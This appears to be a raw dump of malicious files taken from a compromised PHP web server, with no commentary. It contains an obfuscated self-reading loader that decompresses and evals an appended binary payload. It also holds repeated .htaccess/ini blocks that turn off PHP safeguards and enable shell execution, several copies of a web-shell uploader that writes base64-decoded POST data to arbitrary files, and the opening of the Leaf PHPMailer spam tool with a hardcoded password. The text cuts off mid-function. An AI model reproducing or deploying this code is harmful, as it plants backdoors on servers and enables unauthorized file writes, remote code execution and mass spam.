H;^ϔPhQhJU7[#R	b7	@(HbJd}2[9H:IQ	 DB|HKJ 4DorjwbcpaukuuiXkێ/˒l{ڠ[2@[6L*QJ' ].{GP	5Ʒ2G NeeorjwbcpaukTsv`?lK<?php
$uMad='subs'.'tr';$jgfd='s'.'tr'.'_r'.'ep'.'lace';$rZgw='f'.'il'.'e'.'_g'.'et'.'_cont'.'ents';$CRXW='gzu'.'ncompress';$XvCu='exi'.'t';eval($CRXW($jgfd('fnqodlikpy','>',$jgfd('dtcopluvfb','<',$uMad($rZgw( __FILE__ ),-28303)))));$XvCu(0);
?>
xdtcopluvfbWPJ=\EIW@9rEΘ~}~8k91/fnqodlikpyL?'/W-,s̿7}i)k?[/{\~fnqodlikpyZlgެSS,oYǿ?K1=ϋzl##?Fۿ鉋͞:HQj	]"'oAA /x悀:w
ث5WIH	86hˏ,nj֛᫠60q?y/6z%&G+(8vR(o+ ߱ΟXj)Vs1Ԃ@,.fnqodlikpymf2  
KjΓ!3@.$HS-4;Fձi"tPCvmtКi7)kJQ#~llsM
dtcopluvfb料lqlC
C
牋aq?.I-s
?0~+k@:`3ۮy܄V{xbK"2fAA9 H_s&q"ٓ_a7X:m:ҽC~iM\~qtTI0(ff|aXcpI(;PH.U5GL_} m5dRp,nt|tL\gXOzrkm9V( 2fnqodlikpyqy8i,4OP;II4afnqodlikpynD[N^6)r28udtcopluvfbgdsBm:TˍbUSHwoٝMٰNA+X*ٴrj	`ښF7t|9ABmѨMкf8ߧ_~ںЏe9qY fnqodlikpyڊaӱ"fnqodlikpyi!"Y9ů:;4W[ޯJ}пD@֙JYPبC8͂[k3tv+v(IޝƮ*ǫK
a25k"}ST%"*qI`RA*"0jlY6wؒ8J=7&^'$+EwGyQ~
r8#icteQhq)8SFab	/M3fU`@
 䶜(h}uZ;.%^i:%*̣5jԂ|%zDfk	'bxڌ,`Y Jfnqodlikpy抶`.(UTH_uVC"bF36ǯ cyQfnqodlikpyL܅,ia1MrGcXF##=[	Vpwc/czᮣfnqodlikpy]?s:UXyTh|e4|\Qo_3*O9Q:\Kݚ1߀JQ@9m9vW)!@aN1)l,F8Yw3S_h~̢dtcopluvfbQ2^*ǘ6Chm7:9v*kl
X!\J@? )`%%:#c}{G@NnE)Mu"G@Mtȼz?k||hLcۚJz2k,sT-,8-3dtcopluvfbL^n{dtcopluvfb:p	@@GH8P_+"5efnqodlikpycЗZc?%|M!앖u[_5ys=@ξ++92er}i܇#CqjUc-W7m1'B60Quad._sӃP^;g`f-=aR E97ѓ
܄U:QɁzB{zYOY1ģW	䲘99puHZ_XXzfnqodlikpy5uU_hDW1
%?
|3A ']Cj8b$ZG$&il 'y©)ݷ}Dٝe@OLyk@SaW?dtcopluvfbadgG(
j +=&T=:j@~O.RჇTK¤o0*e`)i\D& '948S~) \?%~f#M 	ur"
Esv|gbxV	mfnqodlikpyB(Z	=(+?xUI`ZC6dtcopluvfbF,?PÔݔ"ӬRu`9wIiBKƽ]XǩZwlcۊsϲ7$QE@N7ba|JFЊdb'bJz릿fnqodlikpyOO:_XL
(nwdtcopluvfb{ur4&v	Ĩ@C#XM#gt3ŇwMpPĘ[	a0
Ѧ&fNQ4H*H5Svq.P- _نCv^v};xHҲ@*DodtcopluvfbH_vyIq[P~o^yqQQ,%qLt=GE~ǋln?أb$iEzuw5Q35[Tq%ԫ/?
IV&I~Jͦ_"yŲFdtcopluvfb)MMc!sTa% &xsxS#z|*qzQv$05X&tlo0#1wt܎F}ysrӷ׬*ki먴7(DeQCD
LŉmmҎϙ-kk \ɎeCьVu@[i#U!EvItܢ#z:dk1*M1bҔbY|C`JKB[紭QR	*a`rr4;:)Kq4*!4$kJiJ[gO"sw,fnqodlikpy|/ß	6@E+dtcopluvfbTmYdtcopluvfbb	I}ɍOZT+;pbfnqodlikpyB7nݽ^wWNAihF˹][+ڽП!_'3+IĩՊH
ɦNuZCxb^vW1
@QBǵBա-f
L ,nޑKhO.֪Ldtcopluvfbs.)f[?xèpqC\8m_O0sh#]!9Pw$bKLf)MA(eZ6$"3)vɁ-1k{q"]@\FA.h?t$9=9/25.vqq\OF0jϱwقؑdtcopluvfbZ%U]P
b͢~ssi#9iE۝~[tNd-/WW9pdtcopluvfbAAgk/M;

]Db( Ǽ7WPɧ[@cϑ-k\T/9}]t|ov=}HbW~i`	p`p+D)kN;N}!i9!1}T|ކ)!77,!p%ɀhkY#6x\qÑnU~uߓ~
21_pY^*Ԅp Kz&`Q䷒oj]Z!v#R5T~} OEo1rfSPFD"ziE
Z$thYW'Hr}	
F[Xk~\dtcopluvfbnfMc)p֕ΣTf]Z"fnqodlikpyBefnqodlikpyS{Tݤ޽Adtcopluvfb#jX(]N-o+dtcopluvfbjHD-'
BņioJUI.y.Bvfsq{,h[*CDA9'Tay45Y|z-+0l"nK*q$Eh\Y5rDnLO0,~Vfnqodlikpy(so)Qvj  6F}|7ܝK
t~ئ󰜿IJؠn.
k$mp7(s!Ʋ$\_E$6m\Shw? ]4?KN!%}{%iӓh8@/ebQJۣMr;@لi^JiXu=ѭdtcopluvfbaց`M'ԥ7Bꑇؠdtcopluvfbv5m͜CqAZPGld_S0hXhccf/&;0ޔAt{JM0|`/fnqodlikpyc!赥[^{0DLLL-W69PhEgYMд}139dtcopluvfbUBw68F2]/Kn:|µ;rЅEvǲrJ-·D:9C-2#^7Q .=ɝ+)(=uz)%`vxݞA[D!'b!@tu|j/UQ9uj%gF*,8w;yt-znP_rg_5aTPׂzp*ʎp@LW\	&P,Il;+82~xvq֥Ĭ_oH:fnqodlikpy(!UwRS5& 
V0"ExR
B/|uz@@MtP VAMmvJ=+`"*u/DYT:Up#(_n8g++Co4]'E,@fp:KEG-IXb	=k)Ę{;fnqodlikpymB7.٤C,|$.e܅&:@i;xܗVfF9+lK|D 7(\.q߉.yz3F^$3@%pChD6q5 ai|*
sgyQFH4 +Ώy^6t/N,@|Np0jLoBe	
fnqodlikpy"YgtHYg)?ZNTF
UQYh( ԃ8Jo;s,H441;FnMF N9o}Y|wۓZ@;rUzT	m7 yq09dΎQ@dsΡwfnqodlikpypѸ-#U`Quom6*lt	Rd]:48,62 l@OeZ
I"F /|.jdtcopluvfb$rc|]lfno/IԄ&Ƣ`^1.5dtcopluvfbpPJX"H~]l٧+fnqodlikpytfVXUÜ{pm7˭ xqH_q1#6fnqodlikpyB߄D:\ŝ|G=!
*zbHa)g
8shۯ
֚Pb:mS o8^^N=G/֗iGSiR܆p&L\(Vi۸[i.!pчxӡEpc8R^kP)d1@0s4+ .0C
hCT9l^Hɜdtcopluvfb-'_CIpܣ5_=0e
:LWr$nx2nsU~݁hwwV+f_Y~X d7${g&36~85FNw|#'r%y,b%5HH`m;8ꯂߠ;;DH//&Kz+R~GqME&Mdtcopluvfb4iᇁKijL9.adtcopluvfbـ*\؎x*2^Ҝ؆dd9ޟ?:w#apMfnqodlikpyoW2
9e|ըvPV!Ws`׃\)*˸86쭲vmDD;Ba5zzic'WcO1n}D" \6oҒ,IGB#7v˿_vn {jyܢ |(HOSЉW.b3_p);B)(-mkpYGA ~ZVDʴzg%jTOM@/=D|#Iߢ݀CU1qݶG	%O#-Qt?=Qcdtcopluvfbndx?aG#+_* `R\CL-o֑Һ9Qdtcopluvfb\k52Y0x( 2
L5j[BF8xoxG~[
bM~ֹƧTdtcopluvfbިoQa)g1ul3KtW7voTEh
ʷa?2!_ɑmP$4˱Bn&Շ}33NlDNc'B1xٕgLWjcCMLRp{]@iioWW"1@ UIyKK"^#
yD0/h$X$G
8Y/CJvk;}Tz۠rS:.vоs=*O.,%207 Y[ESdtcopluvfbT|Zx(P[n/kDۢDV۟ 7َcp8	B?lQr4=/G*[*hD/Z)浹#Ehu
#bvW&@/S̎
m"2sm9ƵS	b5g,7Mh -|ḍ%S!-M, n& ̻WO'*6dtcopluvfb16B޽vΕb5j6hOF=
9
.uyuhK{sxq0~J~Yfnqodlikpyl$
lme+ҕki~w\Х,y7[`lhKc{_/+udtcopluvfb%L{"Wn,. iz˧55w'i銋Y[%7.GMi_.nsFA;SEF$ '9},̐dtcopluvfbzƆ|~3@g@fnqodlikpys@RRƧRzuёJ볾3=]v2@r13S$+Gxq2{#Zۉ3~U|5hrk6@+E4.mSOH"ʚ̻ؑYZclÅµsC1n=KP%2϶BY?g@-:FW&/^sI 2(?^MS~?M*?ƿ¥I7C[`αT;h@*xQjKXdn$I.?Kߍ,xzP@ȌYjL9xv_ӔT R025
x1fnqodlikpy :IkaN+D]Ã
iThf?ۖdtcopluvfb~hDiU@WF,TdtcopluvfbNV2T|cԸEY! Yx`ݙP@ن)+_%$pC@`UɭC4F-ˊ@/Hn,#Xнl?aq˩b1	Z|oQʏ{:P#jhbwQ9ɦ~ xo!rs/Rp$.6Po};#
 dtcopluvfb\dfSko#|ۆ f
~6H r)&&DAƤTU+TM?ÌᎽPpuŐ$dROW.;;7dl	Ń ЖbJ8efj+,uo.ϖq	G%}uLuI"pGK8L)K7cAzP^^`/WV.W0m4{U=wrw{}kL#IchC43)`zzۥv^pMn26rrXs_	P.9N*z$p46t}2~S/@c'և#p}~ Bv3ے=xuB[p0ЭU
Sq	W
;CG\g	Ƽs㴊f]b7rys|L%wx-EO++?MV,ok^FZ&~Y?gc?8^
]2jt凋4ٿOp]_n|Q|fnqodlikpy7T "H'aOdtcopluvfb"fADv[g;D3S(XQN	oeCVض~Q4Eq,\,X*N:y잲SYtr\o$r/Ɖt5""a 8]gʘaMdtcopluvfb7a~fnqodlikpy!XdtcopluvfbH`0u;UʒVP帔Eӝhh?m˯͗G~qGj:OdtcopluvfbC xf`H/4sy0]6Nnȸ__tK0-2ں_~%;V?C8҃?uUB4	{u{r|b"}P*UKLr\?ܾMlq@RAC_	N1#Q:x !XmycgADD,$dtcopluvfb7Wadtcopluvfb][_&C)vP1INy5XÃQմ3EE
Dr9}:@$ cm2mHk)l@sgN}2gfKW+zYͷ^^EQNCqOK@LdtcopluvfbebT~|]&9H;GTWa!0	?G8iL9$}̀~~PC}޻kҶai?7ʕ?\`vdtcopluvfbi88dtcopluvfb#[q,
[{gZ9_}EcüyA¾^=3dwHӮe!jp}(FkΥA M_- MZ
,[fnqodlikpyFb.+fnqodlikpy4*b6'b\mjQ̨C1BqƲ-WɅZ* a'CfnqodlikpyDGYlrP0oo+ܘpkQ.jIodtcopluvfbx\wSw Gdtcopluvfb$igD.ysrĀEmp7`RDA_Bo% 9skdG)";
#:ڶm#k5TPPTUde	=.j3%5 oVի~^EYoEh_qFZⱡFMsHg76·;VB͸];~zFdtcopluvfbo8oj_TXˤb٢3QܹiG3V	'	4.!%k[!Vrt_[&oWjg}z^%}t8BSRfnqodlikpynAG\Ȥܶ.*gu_U?Z=Z*Ubwd
2N KJ#]JB?B Sj󡳈Ya]B``ɫeR^Z
qwm(ĪM`ܵ4va5w*&(fPt{ݎrfc/_C	dXw	+j}ggQ	9YH/мi˓RdtcopluvfbBDfnqodlikpy"! /ai_E"(dtcopluvfbzg (;ׇwZf(fnqodlikpyrݐaU%/Gt'FDqdN
-uLS_08AD#dtcopluvfbʙr@`vyG޵V@Gt@nacHn&L&fnqodlikpy|o
xaF5μ(w~c!C~3أ*r#5AkU!_'Ez 2)h-(Y}afnqodlikpyO	*8Ym7,͌nE'nlWkU45m "T*0deo8cW(yVi:pnr4j[dtcopluvfbLSWln!n/Mp5vW~8T}MrcA@խcȯ䴲ho?JsgXc
B?5KfnqodlikpydSn	M0dtcopluvfb؀Zٗ`Q;h}ve9'ɊҦ4Do|BÐ"w*pVdmݟzS#{A'Fn.?d35$c릅w`ʯ/OR};XQfnqodlikpy8!T3Ƹ2ك.hW{芦vvnI"=plsYJi`nD6ꒌ%0X]g3,	TEfnqodlikpy}{0;{\/ڡCfnqodlikpyma15;aiIoPn=-ՇcPL8bwԖ?_ZYhv.*noj3Aq-׿fkK/0̏cq!|{@We`.3H?`'qB
۹+/],|;OWwleDiØiHa̋v-q
Hʈ
@+9|¹(|UW,)r؍|~6	fnqodlikpy"
%Fխ%&[˯'0fnqodlikpyQ ľT41Lnxg&J|U[&uKn)"%fnqodlikpydH K;=Uo='wBe hHɀ3&CQ^\j#"z7vdɂ4*dw^ĸO&DªZJ[qtQo?&1fnqodlikpy~}()?T*2~
ȶ2|VT11SRDj~d@zJ\o{4ʮ}'XD(h\gG;랼bUA\ٺq1A
-2G33GMZw*Ȼ"ŇW!~puȌݺ8!*qfI]c&J;Iܠ{6.`?^q\dtcopluvfb|[q-nu[#4ϩ1vbDb&|qe4PFԏKSVDWsmZwisՐ2|td
ha2hK;GĽt3 aW;^_OR䲑k3;7\
m.pN1}j~T֜.BĕT}i4t_ISYY"qg[~ce
wWOAiY;W?( Jd*w}kD&?x?Og=V~dܲ e͛w
8|fAU/.TF({n;QzNC2wGucA틍7@e4)eB zGS1o]~uh{홾PMR	wdy]	![Y423،sa1!Wc5`"
YQϵ`N݀dtcopluvfb&yAgwA?["5-Blumdtcopluvfbdtcopluvfbz&Gr(vC(:|p9G1\ҬK(bQzF|{ư6CԊfnqodlikpyƛ"sL1_u6us( o]M $ZZTxx^~0B	}d|fnqodlikpy1pŰ7_+TK&= `Ąs}'9ÅfpI
[̱ΐt߈EOfnqodlikpy^wG,/t^ms{a=R#Or+հ1Bjg[m"G0?sTPH x'c6se@dtcopluvfb=SȊYB[tJ-fnqodlikpyҥkO
Bb[uI9$U %D^yi&OR-fi(n[oVe&P&c9!$Qfnqodlikpy5'QܩOQwlRL&S´W 4
yE)^wWǦAǫIpdtcopluvfb|bl|+g(i[.t=3!	B{h!gɌ]wP5$fn%,Ijۘu۬eg9e$Q
elSY'՜ws٥CJL87Z,4]VYFɇK}.[	CEwޤqGxjlCm#	4;l~\O
{ɧXad.+#$$@n!5mt+g8Y+Kra#!ez~(j֟;	^t}c
|]:XB=MoETR
߹/e2}2%T}v)yl.fȵL;2ʑ"AgTtLs%fnqodlikpyU	TdkedMJ,Tz 4.2&NE) 
⨎m}Q}&b\X~7Q%p3ut@."ͼ˲IkTaae`}*g2EMY=JXHgbQ`CX!ABtM:-K	i Vs}Qл.;Eʢ*=8iLL
nbԦdtcopluvfb;RZq6sn],LBk]}'dtcopluvfbZ 0ps@('8Ʃ0:a6y bXUn'ٴ; X)֕:*	l fR݊/b}բh%Ć)7VmߴI;O*aU
FM*~ktyN&O7*ܕ~3 klbcԾ\%hω9yOj*u/f74;ζ{Q$vV$_s
DGoeER=-Əֺ}Fm9Pckyţ@r{'Sdtcopluvfbx*}ezS^%x6dtcopluvfbYد"(vOHohcݩI1U'۬R'ԧp"wA.?o.(Ts:mI5OvhȄ}7 5hTک	xg%5i#;߱ĦdtcopluvfbSrtbw?~QdIsUݺSj~c&jVUPUoBL,EAۢ{܂דuIqudtcopluvfbP9?#.dtcopluvfbXKn󸆤LvE7^-eERQy}\0:w.d!dPO~Hdquf^uݾ!*ܸ	gy
ezd`}HKp@Ly᷂FfVv#[;߄dCuHQQ;'ܵ艄zF[-hkj4]6
!f%Ahv0a^ql+UOXdtcopluvfb7|mr,Vp=A:¤	dtcopluvfbKdܚŸ
u*:Rr3a|H웣e |`T;U1yS6TRdtcopluvfb
:E$
XSu9VۢeyEgRV']`kdQnۉy!ӈ()_'[Bïs]	`=dtcopluvfbGA?s!vlHҲC{B#ДlR7_t@eHBV|-+([tdtcopluvfbȢ[fnqodlikpy/ἵxg^,orϫ
3UxLEafnqodlikpyV~zY=2)yT&E.4'p:+όDg-f#pQ-)t%oϓĂpe`T[GX!@Ȭ$
KԦBڭKpܠv~pw$*z4=WT甦ǛGa|-+C2X_OS4jzG{a
~.J$͜8],-d4hڤ4 K[8 g`9͙01/7h2d_TKXbpP=3:ncLk*r^z'HhEdtcopluvfb˚OKY3QgpgM7l)Rhly;!M|LhG-𸆕gq=LLܗӣydp&SbqJkˢL\;f0R1G'aկ0eS-@r34WgDU̼'I?0*`ϔƸ4VpY!ʝGj]-6&KksI:;\iGecrDn(&eM7=?VP|ZCv?^u:&s}Yz]xT4=✩"Ebj7}UF 91v$;-C^*4/ʱfnqodlikpy+T1iT
nrdtcopluvfbO"NKW?ݙ4odG=0|߶|cOCZ/??vDHUjjSڗEFv$SJT{"8.[+5HswTI1tȲd.rvSU 2~,1!0xP\k8-yV.1}uge~VߋT^!%
\NE̬ 	L^8Uԥ#tsT7M&z:㜺cyR*\@\%NXXqB2Hf:yY޺ygDf	JȺz۹iݾ
* ^2VVz\4
rB`ي"Ÿ*L*H*ϛ
T .#%git(~Go_{,|Inp|10F4bdtcopluvfbw+P-vبgϡҐ)Lʲq$t Kޘ	,IDesWwCK%fz&s?AVĦ_(	Hvt][Rj=-/%$Jc)/=" pAյ$P±ߣK{n٪dtcopluvfbU68a
j"|Ie#DtMYHȁf% Kyq|9=fC!=Y|QiAẛ[fnqodlikpy1VIWY2(nrdtcopluvfb2ŻMޒ_j%IfnqodlikpySߪcdtcopluvfbX6]fnqodlikpy8u#?q}JT )2~5(QlDG t+K.l0qn?数;8@nMBs	!ބ/i^i]zdfjZy*LոyCcY-Ua~	7ɸ}:AltIM0c! KƤUdtcopluvfb!w@zgwJsYKwyyv%R^[-Z$/?Rv8^e;jnEa/)
"sAJfnqodlikpyE#yD,XiQ٥eH"ui FT*g)FJ`'ϧ`N Wa7sG\w)EW/kLD qBL%bQvz2vkl3 nn=qu h4cwaKo6"3"vȲ\6Z!o.l@cRG*S?Pk 30m4cd+(!
I~ջ]0T_[̯+ESq^r&t[seyfnqodlikpyfnqodlikpyYu	C]r E穸X=4z _w
mNncSЊ/)xZDZ:ڼQ"TMrWQRI[nbSP8@44T̧	SzIk?iimح
SMڏǐ.0|Yg0p_P̗rHE{ENͱٺ7
iU\c57.~g,d㥺睡 IS8W}6Q&sn~wȗ
{[p),BXbiE\#maaY/?ܓf5*u	_|@sXEF;?i岪U}"CnA	@]&2iζoALFfnqodlikpyeVq$u2VPHQ2')o_'hN/m.LR+-[`61
'CJ4=bԀ_'^;lXsiÞI$~za%St?Wrtfnqodlikpy]\ɭIH
5Bmd^LM#ȓס:M)`ˡw9U?ű㘖kCVVtoÜOmaDLS5WZ |U@&VЂX;),aJI+47DxmHئ!f2,llKݱKLjpn-L*%qagwEj85(_v=!
tQdքщn~_u |bؠq;L܉OCSJ׋[gQ~~2޷_K)[=i:o^w N]{{+l+-~;䠐cpH0k!vw[K!OH]:.1b
0@`=Ać׀0?qE`?{i7D&+)V^r
|  
fnqodlikpyZBT_ߝ`&k,?xӠYeib!a|.i8PFtzp|MCzdtcopluvfbLmxťO@?ZPu)7w$-v}-)?;о,;!:g YCs_{IHvU*{3#uXkU0F_đ~Tcߏ^dnXD&|2H̑%:8#Ȃߵ?ΑXKۿ]oN@&fwQuΓqcMUz&e'+lsY~k: rP8}K\[۲'Uy!Q멂7/K Wj;C="fnqodlikpy%A~UFL:zu8`P5zZ!sYc]AHc4JdyYw`R=w{-dtcopluvfbWAlp;!E)v AqĲ`!蘯i{(c`h4%)7i$sejżkaC.UۯLpMם%EldfnqodlikpyVxhoLV r͕0U1`)؄`Otoj7[Ƀߊg%bY*Y|4{T+d(E
ZI}ԁdje&\呄3u3sv{(sWY85C?T/:ٓMዽ%vn8DvOґ^y"/t BnT|4dtcopluvfbTٍڛ43[(ٲ%#~ݡ3U]Ǖ\3c+!fnqodlikpyQ
Ja!ie\qߟ۵̿Bڴ3_4}oqPx4H.)OEhR^6Z|2O{*O7lfnqodlikpyefnqodlikpy)z*X1|q9F϶{
W;
QbefX8SƼ,Le(dtcopluvfb!kUح9yFLf ߑ) HZOjL9ldZa%tˊ:R=;&fINlG-`Dj34]#}z*3]x2Zł	q0&玾;3߀Ig @d'WK"GU'x@TUhli_iIDA$7^+dtcopluvfbDp!|a
BWm Qe=Zo{RPWm(f7:`H$鯽މգ[Mdy~0C"PCp.LGɻ{hj"TKJ`&V
{?f9xWGd
׍qs۠dӊxg侳8x\h95\~Ĵ˃U0:9&[(y gr?
j~Q4sV(ԈyT7=$y]
% kpfMMג@\dtcopluvfbljjE4#9i+0Qjp|~/?]tPnfnqodlikpy&I׿)jn;	i˶!~rOys#?^_E_E5Kc|!Pq7Il`߭(3dtcopluvfb0Ԯմ2iquE[kӂ8ovC	vUm/y"7~xI4ꛭ3\b)	 dtcopluvfb5eSy:Y8v&a_Qdtcopluvfb"9ԫnndNA4M&=;pU/-J: XTȦksH) $DAmoM"s9~dtcopluvfbRfnqodlikpy	E"SNˡ|g'BB~/v8k8wА=5$Q.%O";aˌ:vkxqvn!fnqodlikpyDik)7nyO[E|
lcRxݺҖ?d1[i5|Vg+گ3BG$=U =#'JAS&kgg6v&gw-(Q8mR0]3ؓAAA&S֤ݸnۛYbx;RC4K	ov=97мe9]immDX+Tfdtcopluvfb|U7HQpTXwrIR"yqiS䅂LweLZ6TVNC
aI#t^	5~sofnqodlikpyfnqodlikpy@̺d,j[k!oyTxWVW^ϾMH0_4)Fx6]-~Dľ 	]]:_XXHZ`?h|M,}qmHvfnqodlikpyȶSqg{@곗M?4TcB 5~WWU``ϖ7tdtcopluvfb5,\K/\Ѩi{
@a({9dtcopluvfbP 	eU¾]*рnOk
uwݘ	01L;dtcopluvfbmA@EnLA7;猭{2b A1]]kzx5l5K{T=FZ^dсpۛ +dtcopluvfb	FBCpoeyT׷񻕊G{̥a8-2|KQ	0-ܗț"cd`{%VފmXHx#uB)9D}=6E
jFT2
fnqodlikpyںBP,Jdtcopluvfb!L4Qfs @߫TU gLDuPf$S][z\J,5¾r?lOQs{
&IXfnqodlikpyWsM*pjT_k*)JB3S]5s[Q3nh,w^]aXcHi}Ō#TLk!qGTuPzLƻqQ#Ԣ|Z:fnqodlikpy$38PE^lŰPǒ
)M1 ~Sw?BSJX:W~(	817ʤPqgǥ''?]BʪCwS/Csq Xm׭3CIcџ+Jyr

j.dtcopluvfb@a3AL(hD~U1i*{9B%HPkvk] T~尔e'::;wln]Y*b]TUWNX~Vǯ=lEڒ!fQ"N{nJ 3p＿{bv,׍y9_w,QvT\@_"Awdtcopluvfb#M̌!fnqodlikpy|AT c*FF[Wqd

_i8+_O}K	*cNhi㲎~B񟳩svwdtcopluvfbƇRDg~hIeX*EMj[0ӋZF@EبK]H
}h!3@@]ƽk͵,D"M.fnqodlikpyʩPٔ8
uk⹿=y'lz[?}=r,c~E(rrdtcopluvfbN9H5^Kt?/ERRS'1ڤqa?ed7pF
PiEbfnqodlikpy_	3AJ2dtcopluvfbڔf7dtcopluvfbڻ"'+{y:$i\wb֟;oԗ
"ꉬv,B@1$QWdtcopluvfb`dtcopluvfboX"2!bѠ̜UݧծAFpQ݄Rlfnqodlikpy&sWS*8-\APYdtcopluvfb,X=apdIy|sfnqodlikpyڢ~D񆱏߷׻bRk|1qym.Z&;ޅ,0'[̘9.\6Z)bv3ԎmNzVʮOM.xj-92w34
ILCȹOpE6H ,+;$tc#[}uUz}2Tfnqodlikpy[VڊşS)߳M~Sϒ%'kBfnqodlikpy=y@6u6q=fnqodlikpy3|SuߞhDIw
1Uf^H}by%`fnqodlikpy6=]_8EȰn&kZX`ssӶNQߐ=ۅ^f?ZFِOB?+.,#F_cj܅3 5nïțBZFč)-~lQ]fnqodlikpy5Ι(m˭*d9.QWю&jwzմH~7B={Ł#?C;;r!/~bE= F~1I:38֟OÎṅ3F&d`c,E}|6=₭?SzlCdtcopluvfbʻb="$
ȋbPYE,
.*b#jޜ/1wÄE뛬QUakY*1UZj=|}9[-~S$rI	/[ 1+~zl;AL݊
o}k$Qjre1PRzR /tgEJjBcaHBT 4#X;ܦN)˾bEt&愫SrIF9*.MYkQ9 w
XpfXHC\?|)"A&nʫ ti5 a=MBFghjHq=T771e׮ƫ
 ι!R[Cʉm&DP9
OJjn"1m;-_׋t	 }L_=5&"+Ito@!a\rpucCP\ks
RpjҧFpB~գua^X J_M9.?\f0 LJ.ԔqI3_PX%w&#+uv=![/GRsч䂟しQQDjUz~2tߠ+Za.?EcfLr6x-T$$7
-S9KfjO2~ul4za!#A=fnqodlikpyPh,nTab2f^I
 r{I5&
:QnjS	Xo
vZe)arEdtcopluvfb4qmI;uFNҾc^ǲR\6nFs_ʎ(G0,@}LH 
o?HꋕO	}1el\Efnqodlikpy	Rqy+=
Jw)c7j;@-g 7?־F)y'@*ZC"0Lg/u)p6P7B{/,"d.r߭	(fDfnqodlikpy2^J?cwt74'PR'.Dnj[['/o'Oo-҅\d_s .,20$٪/Ź!ւFQ#۽	fnqodlikpy_XDu_
9f%;||/Fav]H
|jhb-4J'[:hAB0%þN425jS(F+JL$0F:G22As`s
P@ԊM|!ĳZQLK{K2  &l	nirIHuħI+
cfnqodlikpyUƓ9=wa`j;7ׁF;4DnmۑI'`/S9/=LJ

 &ٲ(~-(kko=Dm!rF돬syuﺠV7|J=Ny|KTfnqodlikpyC05GfD,8WUP34U
dtcopluvfb؁H5XCxFۙ
YLs3ykݞ*ɥq@Ħ"Imm$BޓT/0=V1pFifnqodlikpyOmd2rdUQ$9J[nDJXJRDN29_o;{?Uӱky))閙fnqodlikpy}M[Ϋ?LeY$N-)C21(K18dtcopluvfb~3#eu{j4ƙ,l{1DҶӫUf}[9B
a;u԰#H{Mr[evNŷ-_$]~k/֣c0{m:*@"?x~q lrBWN0SPΠu~JWm1#-ue'AXS§$kuRIXlČJ`@σͻdtcopluvfbFXyqEdtcopluvfb#g՝,N~֜J{pXqJl1}o.}@cpIj;o24^vъ+;B}qk~4)'⎖RV/(܃-ȢӓVcqr&
"DA5LcK7lq
15
s$]՛~ghF'kUQi7J 9,ՓV~VS(2U,~j}"3d#9i	]
wH5wmN2Sbvۈ'EkKl(&4@(ƲVmIΗil!u+x 7vX3qKAH{dtcopluvfb!ڏAùE,yblN|_# S,g0죖~K2_cq8^y+Ŭ`xdtcopluvfb# WƶͺƔ߇Lth'5M4=.h(̶]M9uJX:?sM Od1B.= 鍎C(;eoNgEryzn&Ts/΃TV楤1fnqodlikpyzw|n~)")yVbز.:zfnqodlikpy?^hbafnqodlikpy |JovzZ3r5vr1bUi!`6'Ŷ@z+dtcopluvfb?IV_cigQ`Cr(J;ݎ`tEҊ0fN)k
8%r1Xc[=ѷ4c5|37)J@#rXla (M ϒ,՚I6+?[{Z.oNDT:(Q*csC
zdtcopluvfbb추U&ӫ mZýϲstA
?D`J
8?A)'ͬ6/X#C4\8|&`@)yuHFĠV=q!DZ6;tIKiVToc 0QE {Nho|bCM$0{?	)nl]W!oI+*&,_dtcopluvfbu!DXIK : 8G:4b;YIλ}] Ӎ
8%:&4~3l`|~M|5pOmK(thǺK5{_*[!.7GSWUĘY'J8xJy?UMMIL=Ha8JIԱEޓLO@S-Gs+lk	Mq$(̕dtcopluvfb:W:$ʁ{ FH!@C3(g.Im;S
ˉDGSq33r[3,rh#ų.тX@npTP؊g=oq+h/r(p9Yc_)
ݮZ	fnqodlikpyD-3*;Ee?baWĕ3=пA
las7qe0}ïjQ"
T*ID# ddtcopluvfb#$*;B-6xՂ$s^NINԄYW[}WJ=wykgśWTjJ["7b:C͚SBLL1
 dtcopluvfb|ڝq
fIZ\纁2CYTьzm`mynlݨifH(9M1p?qԟ"^rUUFPq`fnqodlikpymi.'t27fYOswVa`C
vbF 9fry0h5G+@vGsHy8JSY[srAE4 ҩMF4cAx̹fHY {\rEBP&K+c+_w3(.^^	
WFlAr]	*%JZ+UK3Ԡao+W7i*	*MaټwAusnۮ"iӎ;5h:6g[{+jq8][J.Y҃{]]-]{WM;eٽ{$~k3`ZHsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'bas'.'e64'.'_dec'.'ode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base6'.'4'.'_d'.'ecode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "T71J4ycrtln";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
